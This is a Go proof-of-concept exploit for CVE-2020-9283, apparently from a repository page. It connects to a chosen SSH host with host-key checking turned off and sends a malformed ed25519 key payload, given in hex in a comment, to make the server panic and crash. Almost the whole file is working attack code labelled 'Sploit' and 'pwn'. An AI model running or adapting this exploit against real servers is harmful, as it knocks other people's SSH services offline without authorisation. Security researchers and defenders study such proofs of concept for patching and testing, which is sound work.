README.md
Rendering markdown...
package main
import (
"flag"
"fmt"
"io/ioutil"
"net"
"golang.org/x/crypto/ssh"
)
var host, port, key *string
// This project is inspired by the Python PoC created here github.com/mark-adams/exploits/CVE-2020-9283
// Generate SSH key with ssh-keygen -f thekey -t ssh-ed25519 -N ''
// The payload used to trigger the panic is located in client_auth.go and is the value "0000000b7373682d65643235353139000000156161612d616161612d61612d6161612d6161616161"
func main() {
host = flag.String("host", "localhost", "IP address of SSH host to target")
port = flag.String("port", "22", "Port to target")
key = flag.String("key", "thekey", "ssh-ed25519 private key to use")
flag.Parse()
fmt.Println("[+] Sploit for CVE-2020-9283")
pwn(*host, *port, *key)
}
func pwn(host, port, key string) {
fmt.Printf("[+] Attempting to pwn: %s\n", host+":"+port)
setupKeyAndDial(host+":"+port, "notme", key)
fmt.Println("[+] This should have invoked a panic on the SSH target i.e 'panic: ed25519: bad public key length'")
}
func setupKeyAndDial(addr, user, keyfile string) *ssh.Client {
key, err := ioutil.ReadFile(keyfile)
if err != nil {
fmt.Println("[ERROR]", err)
}
signer, err := ssh.ParsePrivateKey(key)
if err != nil {
fmt.Println("[ERROR]", err)
}
config := &ssh.ClientConfig{
User: user,
Auth: []ssh.AuthMethod{
ssh.PublicKeys(signer),
},
HostKeyCallback: ssh.HostKeyCallback(func(hostname string, remote net.Addr, key ssh.PublicKey) error { return nil }),
}
return Dial("tcp", addr, config)
}
func Dial(network, addr string, config *ssh.ClientConfig) *ssh.Client {
client, err := ssh.Dial(network, addr, config)
if err != nil {
panic(err)
}
return client
}